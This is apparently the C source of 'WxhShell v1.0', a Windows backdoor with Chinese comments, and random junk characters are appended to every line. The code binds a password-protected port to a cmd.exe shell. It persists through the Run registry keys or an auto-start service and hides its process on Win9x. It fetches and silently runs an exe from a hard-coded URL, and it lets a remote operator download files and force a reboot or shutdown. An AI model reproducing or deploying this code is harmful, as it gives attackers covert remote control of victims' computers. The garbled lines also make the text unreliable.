    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v9lB k]c  
    else { o~_>p/7;  
    closesocket(wsh); 5'Jh2r  
    ExitThread(0); N('DIi*or  
    } ,9wenr  
    break; 2%C5P0;QX  
    } 7u5\#|yL  
  // 获取shell u%T$XG  
  case 's': { ESjJHZoD(  
    CmdShell(wsh); cqL7dlhIl  
    closesocket(wsh); w })Pedg  
    ExitThread(0); umZ g}|C_  
    break; XqS*;Zj0  
  } Ty0T7D   
  // 退出 ^.kAZSgO  
  case 'x': { ZQ-`l:G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qbq<O %g=  
    CloseIt(wsh); VfqY_NmgC  
    break; a {$k<@Ww  
    } 0k 0c   
  // 离开 iz>y u[|  
  case 'q': { .L5*E(<K0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G4%M$LJ h  
    closesocket(wsh); m4SXH> o  
    WSACleanup(); I5yd )72  
    exit(1); I= h4s(  
    break; 0$ 9;p zr  
        } 9'#.>Q>0=j  
  } C=aj&  
  } Nwl RPyt  
*R\/#Y|  
  // 提示信息 ^Xy$is3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qvU$9cTY  
} G<-9U}~76  
  } yX.5Y|A<  
ElR&scXi__  
  return; +<WRB\W  
} NU&^7[!yl  
KR+BuL+L  
// shell模块句柄 4B8Se  
int CmdShell(SOCKET sock) Y:!/4GF  
{ xCp+<|1   
STARTUPINFO si; ?~JxO/K  
ZeroMemory(&si,sizeof(si)); MRg\FR 2>1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T19rbL_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e(=~K@m  
PROCESS_INFORMATION ProcessInfo; /z)3gsF  
char cmdline[]="cmd"; @S"pJeP/f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {_toh/8)r  
  return 0; #w,WwL!  
} oz0n$`O$/  
w^rb|mKo  
// 自身启动模式 |;U=YRi  
int StartFromService(void) N[x@j)w-`  
{ YUVc9PV)Ws  
typedef struct 56=K@$L {F  
{ RnA&-\|*  
  DWORD ExitStatus; Bw]L2=d  
  DWORD PebBaseAddress; 9p\Hx#^  
  DWORD AffinityMask; 7hN6IP*so  
  DWORD BasePriority; Dj ]Hgg  
  ULONG UniqueProcessId; mj~N]cxB  
  ULONG InheritedFromUniqueProcessId; (\mulj  
}   PROCESS_BASIC_INFORMATION; <% 7P  
}y-;>i#m=g  
PROCNTQSIP NtQueryInformationProcess; ^0x.'G?  
bg1"v a#2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ld}(*-1i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Fi?Q 4b  
N?=qEX|R  
  HANDLE             hProcess; ?dKa;0\  
  PROCESS_BASIC_INFORMATION pbi; uO_,n  
N[bR&# p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qaMZfA  
  if(NULL == hInst ) return 0; 2c"N-c&A  
wCU&Xb$F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ),;D;LI{S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TvWU[=4Yk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +\k9w.[:/  
UR/qVO?  
  if (!NtQueryInformationProcess) return 0; 0/SC  
L* k hj3;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qJ X+[PJ  
  if(!hProcess) return 0; B3cf] S%  
R?bn,T>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~X~xE]1o|U  
iz9\D*or  
  CloseHandle(hProcess); }c35FM,  
_z<Y#mik  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UVT >7  
if(hProcess==NULL) return 0; $(KIB82&  
?@lx  
HMODULE hMod; M$&WM{Pr^  
char procName[255]; Q3BLL` W~  
unsigned long cbNeeded; zM_DE  
x5fgF;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~tg1N^]kV  
rw5#e.~V  
  CloseHandle(hProcess); JtYYT/PB  
1!>bhH}{D  
if(strstr(procName,"services")) return 1; // 以服务启动 rq<`(V'2  
/63 W\  
  return 0; // 注册表启动 waXDGdl0  
} cyGN3t9`.  
Tsm1C#6 Y*  
// 主模块 JNxW6 cK  
int StartWxhshell(LPSTR lpCmdLine) 2AXF$YjY  
{ Th7wP:iDP  
  SOCKET wsl; ~+pg^en  
BOOL val=TRUE; ^ o $W  
  int port=0; [j:}=:feQ  
  struct sockaddr_in door; ZRXI?Jr%  
]r/(n]=(  
  if(wscfg.ws_autoins) Install(); v:veV.y  
f.b8ZBNj>  
port=atoi(lpCmdLine); IOsXPf9@  
?JXBWB4  
if(port<=0) port=wscfg.ws_port; 670J{b  
q)K-vt)98  
  WSADATA data; j*;*Ka w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z7/vrME6  
I%;Rn:zl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y]+e  Df  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0NL :z1N-h  
  door.sin_family = AF_INET; < 72s7*Rv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Yl)eh(\&J  
  door.sin_port = htons(port); ERp:EZ'  
%rM-"6Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A+0T"2  
closesocket(wsl); )3]83:lD2  
return 1; @@xO+$6  
} FasI'Ulk  
j}|N^A_ S  
  if(listen(wsl,2) == INVALID_SOCKET) { `"xk,fVYd  
closesocket(wsl); \3t,|%v  
return 1; :kWZSN8.D  
} =w',-+@  
  Wxhshell(wsl); WdTbt  
  WSACleanup(); 4r_!>['`"  
U9<_6Bsd  
return 0; /Y;+PAy  
n\Z^K  
} tv 4s12&  
Fy 4Tvg  
// 以NT服务方式启动 ,pDp>-vI%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gf:vb*#Wa  
{ ?gd'M_-J,  
DWORD   status = 0; 5h|'DO x|o  
  DWORD   specificError = 0xfffffff; ,3VG.u;U   
(y=dR1p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x9xzm5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DgDSVFk ~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2-8YSHlh  
  serviceStatus.dwWin32ExitCode     = 0; !(W[!%  
  serviceStatus.dwServiceSpecificExitCode = 0; beJZ pg  
  serviceStatus.dwCheckPoint       = 0; nnfY$&3A  
  serviceStatus.dwWaitHint       = 0; v$t{o{3  
|9+bSH9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _n< LVd E  
  if (hServiceStatusHandle==0) return; >lA7*nn  
?D1x;i9<  
status = GetLastError(); jv*Dg (  
  if (status!=NO_ERROR) pZu?V"R  
{ CHPL>'NJzc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AU0$A403  
    serviceStatus.dwCheckPoint       = 0; Q8 -3RgAw  
    serviceStatus.dwWaitHint       = 0; 2#'rk'X,K  
    serviceStatus.dwWin32ExitCode     = status; VKT@2HjNT`  
    serviceStatus.dwServiceSpecificExitCode = specificError; V)2"l"Kt  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +7Sf8tg\  
    return; &\&'L|0F  
  } 3sS=?q  
NV&;e[z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U^B"|lc:[  
  serviceStatus.dwCheckPoint       = 0; hbV E; 9  
  serviceStatus.dwWaitHint       = 0; |)^clkuGX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :L]-'\y  
} / pO{2[  
:0B |<~lX  
// 处理NT服务事件,比如:启动、停止 |$M@09,F"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !-KCFMvT  
{ HvAE,0N  
switch(fdwControl) 2y^U k,g  
{ M,&tA1CH  
case SERVICE_CONTROL_STOP: $ b4*/vMr  
  serviceStatus.dwWin32ExitCode = 0; cE^kpnVq|<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :[ L{KFQU  
  serviceStatus.dwCheckPoint   = 0; ~@xT]D!BQ  
  serviceStatus.dwWaitHint     = 0; S2Zx &D/_  
  { U%Dit  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0xN!DvCg>.  
  } (2: N;  
  return; : @s8?eg  
case SERVICE_CONTROL_PAUSE: +:}kZDl@ X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T:c7@^=  
  break; *f{7  
case SERVICE_CONTROL_CONTINUE: g+igxC}2z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /d[Mss  
  break; 7`Qde!+C  
case SERVICE_CONTROL_INTERROGATE: TKK,Y{{  
  break; 1d`cTaQ-  
}; Ny[Q T*nV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (viWY  
} bi+9R-=&  
KCE=|*6::|  
// 标准应用程序主函数 5n:nZ_D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g&Z"_7L~  
{ N A8 sN  
_jW>dU^B  
// 获取操作系统版本 `a-Bji?  
OsIsNt=GetOsVer(); YmOldR9v(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E\ tL   
J)_>%.  
  // 从命令行安装 wqcDAO (  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6Ux[,]G K  
-jFP7tEv  
  // 下载执行文件 $Ru&>D#stK  
if(wscfg.ws_downexe) { J l\'V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g- XKP  
  WinExec(wscfg.ws_filenam,SW_HIDE); N5yJ'i~,M  
} >A<Df  
*E.LP1xP  
if(!OsIsNt) { cbfD B^_  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;;M"hI3@  
HideProc(); ]7*kWc2  
StartWxhshell(lpCmdLine); ;3mL^  
} >8%M*-=p  
else Ha?G=X  
  if(StartFromService()) lHcA j{6  
  // 以服务方式启动 <&`:&7  
  StartServiceCtrlDispatcher(DispatchTable); WX LK89ev\  
else E!uJ6\  
  // 普通方式启动 emA.{cVr!  
  StartWxhshell(lpCmdLine); k j-=xhJ{=  
36nyu_h:R  
return 0; ,'=hjIel  
} 7q!?1 -?8R  
0fA=_=A,  
B& "RS  
04~}IbeJ  
=========================================== '(tj[&aL  
@`6}`k  
X6'H`E[  
jKS!'?  
alV dQfu  
3EI]bmi~  
" S.1( 3j*  
\Yd4gaY\o  
#include <stdio.h> P:qz2Hw  
#include <string.h> nX)f'[ 7  
#include <windows.h> g@Ld"5$^2  
#include <winsock2.h> &Bm&i.r  
#include <winsvc.h> bf1)M>g,O  
#include <urlmon.h> 7 I@";d8~  
qIz}$%!A  
#pragma comment (lib, "Ws2_32.lib") *Z >  
#pragma comment (lib, "urlmon.lib") g &*mozs  
CG.,/]_  
#define MAX_USER   100 // 最大客户端连接数 S"Kq^DN  
#define BUF_SOCK   200 // sock buffer P<vo;96JT  
#define KEY_BUFF   255 // 输入 buffer ##v`(#fu  
7LfcF  
#define REBOOT     0   // 重启 iKhH^V%j  
#define SHUTDOWN   1   // 关机 *Z; r B  
V3Yd&HVWNQ  
#define DEF_PORT   5000 // 监听端口 G0Hs,B@5?  
1 =^  
#define REG_LEN     16   // 注册表键长度 sCkO0dl8  
#define SVC_LEN     80   // NT服务名长度 S@Iw;V  
oPsK:GC`U  
// 从dll定义API NCn`}QP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "H$@b`)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ADLMj`F|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L:pUvcAc?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O>%$q8x@i  
m<3w^mww  
// wxhshell配置信息 x)_r@l`$ix  
struct WSCFG { []gRfM]$&  
  int ws_port;         // 监听端口 2QL?]Vo  
  char ws_passstr[REG_LEN]; // 口令 \sITwPA[z  
  int ws_autoins;       // 安装标记, 1=yes 0=no dZDK7UL  
  char ws_regname[REG_LEN]; // 注册表键名 Z%OW5]q  
  char ws_svcname[REG_LEN]; // 服务名 b)`pZiQP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >Mw'eQ0(y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }vY.EEy!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t!:)L+$3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T)~!mifX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -=a[J;'q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \E77SO,$  
5B?i(2&#  
}; Im+ 7<3Z  
Yz\ N&0"  
// default Wxhshell configuration X8Fzs!L`  
struct WSCFG wscfg={DEF_PORT, toIYE*ocv=  
    "xuhuanlingzhe", !W /C[$E  
    1, xCq'[9oU  
    "Wxhshell", tDt :^Bc  
    "Wxhshell", <h@]Ri  
            "WxhShell Service", ^Q\XGl  
    "Wrsky Windows CmdShell Service", qe%V#c  
    "Please Input Your Password: ", #Kl}= 1 4  
  1, ot }6D  
  "http://www.wrsky.com/wxhshell.exe", #1gO?N(<=  
  "Wxhshell.exe" N571s  
    }; ,56;4)cv  
WqQU@sA  
// 消息定义模块 $UC{"0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X3yS5wh d(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V&iS~V0.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {m[Wyb(  
char *msg_ws_ext="\n\rExit."; 'yr{^Pek  
char *msg_ws_end="\n\rQuit."; ~b6GrY"vB  
char *msg_ws_boot="\n\rReboot..."; ? |VysJ  
char *msg_ws_poff="\n\rShutdown..."; S/7l/DFb  
char *msg_ws_down="\n\rSave to "; pV=@sz,G  
0>FE%  
char *msg_ws_err="\n\rErr!"; RX>2~^  
char *msg_ws_ok="\n\rOK!"; &a6,ln:P  
?Oc -aa  
char ExeFile[MAX_PATH]; kP^*h O!%  
int nUser = 0; X!c?CL  
HANDLE handles[MAX_USER]; w.^yP7:  
int OsIsNt; +?AW>&68y  
``4?a7!!  
SERVICE_STATUS       serviceStatus; p9iu:MucD<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V;;#/$oU:4  
N}mh}  
// 函数声明 ~},W8\C>  
int Install(void); ]\dHU.i  
int Uninstall(void); t^U^Tr  
int DownloadFile(char *sURL, SOCKET wsh); AY88h$a  
int Boot(int flag); 2y%R:Mu  
void HideProc(void); BIj   
int GetOsVer(void); Dr+Ps  
int Wxhshell(SOCKET wsl); 12OlrU  
void TalkWithClient(void *cs); 30d#Lq  
int CmdShell(SOCKET sock); oY.\)eJ~>  
int StartFromService(void); iRt*A6`m+  
int StartWxhshell(LPSTR lpCmdLine); vaB!R 0  
{SdO9Yy?@7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b#='^W3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EO:avH.*0  
5v|EAjB6o  
// 数据结构和表定义 = F<:}Tx)C  
SERVICE_TABLE_ENTRY DispatchTable[] = taDQ65  
{ x7$ax79ly  
{wscfg.ws_svcname, NTServiceMain}, [.&[<!,.  
{NULL, NULL} $.8 H>c  
}; C:j]43`  
Yt{&rPv,  
// 自我安装 B}\BeFt'  
int Install(void) -N# #w=  
{ J\A8qh8  
  char svExeFile[MAX_PATH]; /b%Q[ Ck_  
  HKEY key; I`^YAbnb  
  strcpy(svExeFile,ExeFile); X"<|Z]w  
@GeHWv  
// 如果是win9x系统,修改注册表设为自启动 :1_mfX  
if(!OsIsNt) { +t"j-}xzE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 Y+:,ud\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ri=+(NKo-  
  RegCloseKey(key); >rf5)Y~f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GFL-.? 0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %l|\of7P2}  
  RegCloseKey(key); ,YB1 y)x  
  return 0; |^Kjz{  
    } 7I >J$"  
  } l$M +.GB<  
} gtYRV*^q  
else { "8/dD]=f^a  
m~>@BCn;  
// 如果是NT以上系统,安装为系统服务 U^?= 0+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J?D\$u:  
if (schSCManager!=0) 1;&T^Gdj  
{ nk/vGa4  
  SC_HANDLE schService = CreateService D=&K&6rr  
  ( (/?R9T[V&^  
  schSCManager, S#2[%o  
  wscfg.ws_svcname, 2w4MJ,Uw  
  wscfg.ws_svcdisp, ri+U0[e3  
  SERVICE_ALL_ACCESS, 0roCP=;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QO,+ps<  
  SERVICE_AUTO_START, Ac\W\=QvB  
  SERVICE_ERROR_NORMAL, <|H ?gfM  
  svExeFile, m UgRm]  
  NULL, XTo8,'UaP  
  NULL, _tWE8 r,  
  NULL, GV6mzD@ <  
  NULL, q-IWRb0j%a  
  NULL m =k%,J_  
  ); F1c&0*_A  
  if (schService!=0) =x H~ww (D  
  { Xw^X&Pp  
  CloseServiceHandle(schService); 8&.-]{Z  
  CloseServiceHandle(schSCManager); ug&92Hdvy3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XeU<^ [  
  strcat(svExeFile,wscfg.ws_svcname); 8R4qU!M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Sk=N [hwU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); it,w^VU_]  
  RegCloseKey(key); k?j Fh6%  
  return 0; mHs:t{q  
    } &yLc1#H  
  } @]?R2bI  
  CloseServiceHandle(schSCManager); TSQh X~RN  
} Z*eoA  
} r0btC@Hxy  
YoAg  
return 1; f:vD`Fz1  
} 5\S&)ZA@  
98UlNP  
// 自我卸载 h=[-Er'B  
int Uninstall(void) #T"64%dX  
{ QJSr:dP4dG  
  HKEY key; ;BVDt  
} yq  
if(!OsIsNt) { euZ I`*0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^'W%X  
  RegDeleteValue(key,wscfg.ws_regname); x+^Vg3 q  
  RegCloseKey(key); ,sI35I J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5;Ia$lm=y  
  RegDeleteValue(key,wscfg.ws_regname); %6i=lyH-  
  RegCloseKey(key); 5~l2!PY  
  return 0; PEzia}m  
  } gZ`DT  
} `bqzg  
} 7$_ :sJ  
else { wd+O5Lr.R  
.bfST.OA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H,|YLKg-|  
if (schSCManager!=0) 4z0L ke  
{ / O)6iJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >{XScxaB`  
  if (schService!=0) !Uy>eji}  
  { e1 ^l.>2d6  
  if(DeleteService(schService)!=0) { uV77E*+7\  
  CloseServiceHandle(schService); c&e0OV\m  
  CloseServiceHandle(schSCManager); ^Y 7U1I  
  return 0; ,8VXA +'_  
  } s=U\_koyH  
  CloseServiceHandle(schService); xJc.pvVPw  
  } [YE?OQ7#  
  CloseServiceHandle(schSCManager); 6b#~;  
} s<VJ`Ur  
} LyP`{_"CM  
jw4TLc7p  
return 1; OjATSmZ@@  
} FmI;lVF0j  
:mp$\=  
// 从指定url下载文件 tJm{I)G  
int DownloadFile(char *sURL, SOCKET wsh)  MYx88y  
{ 4)nt$fW  
  HRESULT hr; tN!Bvj:C[M  
char seps[]= "/"; 3:AU:  
char *token; #90c$ dc  
char *file; f?-J#x)  
char myURL[MAX_PATH]; - 0DZ::  
char myFILE[MAX_PATH]; FG# nap{  
hS_.l}0yf  
strcpy(myURL,sURL); vJThU$s-  
  token=strtok(myURL,seps); vZk9gGjk  
  while(token!=NULL) `^e*T'UPl  
  { Wr#~GFg  
    file=token; ?(Bl~?zD  
  token=strtok(NULL,seps); eJaUmK:  
  } !Bj^i cR  
I>hmbBlDv  
GetCurrentDirectory(MAX_PATH,myFILE); 3?^NN|xg  
strcat(myFILE, "\\"); a7*COh  
strcat(myFILE, file); ]bu9-X&T&  
  send(wsh,myFILE,strlen(myFILE),0); JMePI%#8  
send(wsh,"...",3,0); z Lw(@&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8!4[#y<  
  if(hr==S_OK) u\3ZIb  
return 0; ay-9c2E  
else >~wu3q  
return 1; -( Kh.h  
KBj@V6Q  
} ~'{VaYk]v  
SwJHgZ&  
// 系统电源模块 r\RFDj  
int Boot(int flag) hXTYTbTX  
{ Q@Dkl F  
  HANDLE hToken; niAZ$w  
  TOKEN_PRIVILEGES tkp; WKOI\  
c/RT0xql*  
  if(OsIsNt) { i'iO H|s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z L8J`W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h[y*CzG  
    tkp.PrivilegeCount = 1; e# <4/FR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )w3 ,   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D}Au6  
if(flag==REBOOT) { QH:>jmC{1h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cqjl5UB  
  return 0; 6kR -rA  
} Rv,Mu3\~#c  
else { 1q`k}KMy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xy vND  
  return 0; j@CKO cn2  
} KG-y)qXu  
  } ph+M3q(z  
  else {  h,~tXj  
if(flag==REBOOT) { wBE7Bv45  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^vG=|X|)c  
  return 0; X&.:H~xS+  
} Nuo^+z E   
else { WV@X@]U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;/R kMS  
  return 0; _hWuAJ9Qy  
} yIWc\wv  
} 7|{ B#  
'9"%@AFxZ  
return 1; {=qEBbM  
} [bsXF#  
T:6K?$y?  
// win9x进程隐藏模块 `ReGnT[  
void HideProc(void) 9p4%8WhJ  
{ },v&rkwR  
Enu!u~1]F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'H!V54 \j  
  if ( hKernel != NULL ) TqXg e{r  
  { D/cg7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *h:D|4oJ(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^glX1 )  
    FreeLibrary(hKernel); m[W/j/$A+x  
  } {hM"TO7\  
;*nh=w  
return; "% SX@  
} aDN.gM S  
X8i[fk1.R  
// 获取操作系统版本 C/bxfp{?  
int GetOsVer(void) PP],HB+*[  
{ b]"2 VN  
  OSVERSIONINFO winfo; }#&~w 0P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sbgJw  
  GetVersionEx(&winfo); ~};]k}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )=y.^@UT@  
  return 1; Q*Y 4m8wY  
  else K[*h+YO  
  return 0; zUJx&5/  
} lQh~Q<[ge  
;4l-M2  
// 客户端句柄模块 fjcr<&{:  
int Wxhshell(SOCKET wsl) Bpm,mp4g\#  
{ 0e)lY='^_  
  SOCKET wsh; }M^_Z#|,  
  struct sockaddr_in client; xUQdVrFU  
  DWORD myID; '^e0Ud,  
hI*`>9l  
  while(nUser<MAX_USER) |y klT  
{ b/z'`?[  
  int nSize=sizeof(client); _a fciyso  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y?"$(%3|  
  if(wsh==INVALID_SOCKET) return 1; akMJ4EF/  
 ccRlql(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )4@M`8  
if(handles[nUser]==0) J`4Z<b53  
  closesocket(wsh); Y$>+U  
else PL9<*.U"=  
  nUser++; j,\tejl1  
  } '^8g9E .4K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #]k0Z~Bl  
NWw<B3aL  
  return 0; [?A&xqO3  
} [TP  
fn3*2  
// 关闭 socket Ob7zu"zr  
void CloseIt(SOCKET wsh) L^6"' #  
{ "pOqd8>]  
closesocket(wsh); 6BUBk>A`  
nUser--; zMbfV%b  
ExitThread(0); UP}feN  
} JvKO $^  
*@CVYJ'<  
// 客户端请求句柄 ?){0-A4  
void TalkWithClient(void *cs) fDL3:%D  
{ H3!,d`D.N  
t#a.}Jl  
  SOCKET wsh=(SOCKET)cs; b*cW<vX}~  
  char pwd[SVC_LEN]; :b.3CL\.6  
  char cmd[KEY_BUFF]; a:=q8Qy  
char chr[1]; TihnSb  
int i,j; |Uc <;> l  
X";TZk  
  while (nUser < MAX_USER) { _2wAaJvA  
tX@ 0:RX%  
if(wscfg.ws_passstr) { ]^Sd9ba  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); th5 X?so  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C_6GOpl  
  //ZeroMemory(pwd,KEY_BUFF); 5P-K *C&  
      i=0; $Vo/CZW7  
  while(i<SVC_LEN) { 8FAT(f//.  
^!q 08`0  
  // 设置超时 r5D jCV"  
  fd_set FdRead; <9=zP/Q  
  struct timeval TimeOut; X'YfjbGo  
  FD_ZERO(&FdRead); qsD?dHi7  
  FD_SET(wsh,&FdRead); wYZy e^7  
  TimeOut.tv_sec=8; W/b"a?wE{  
  TimeOut.tv_usec=0; s.f`.o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B0 6s6Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >_rzT9gX&  
` 52% XI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =9kj? u~  
  pwd=chr[0]; ]\[m=0K  
  if(chr[0]==0xd || chr[0]==0xa) {  -0{T  
  pwd=0; d1UVvyH  
  break; P h9Hg'  
  } oxUE79  
  i++; t8L<x  
    } KDux$V4  
+= X).X0K  
  // 如果是非法用户,关闭 socket M' &J _g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~sZqa+jB0  
} `6 |i&w:b  
l R:O k8e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t.3Ct@wK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s]$HkSH  
lo\:]/&6  
while(1) { JQ~y- lt  
OAmES;Ck$(  
  ZeroMemory(cmd,KEY_BUFF); m\<<oIlH  
l0qdk #v  
      // 自动支持客户端 telnet标准   pYYqGv^oa  
  j=0; kqj;l\N  
  while(j<KEY_BUFF) { ck(CA(_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <f7?P Ad  
  cmd[j]=chr[0]; <9Lv4`]GU5  
  if(chr[0]==0xa || chr[0]==0xd) { bRx2 c  
  cmd[j]=0; ?|D$#{^  
  break; \pjRv  
  } Fg_?!zR>6  
  j++; 9V|E1-")E  
    } 1~["{u  
| \ s2  
  // 下载文件 L~@ma(TV{K  
  if(strstr(cmd,"http://")) { clh3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SQ1M4:hP  
  if(DownloadFile(cmd,wsh)) M'pb8jf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j lYD~)  
  else FZ[@])B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X=rc3~}f  
  } TYs+XJ'Xj  
  else { FQ ;4'B^k]  
<dju6k7uz  
    switch(cmd[0]) { ;cM8EU^.  
  k98< s  
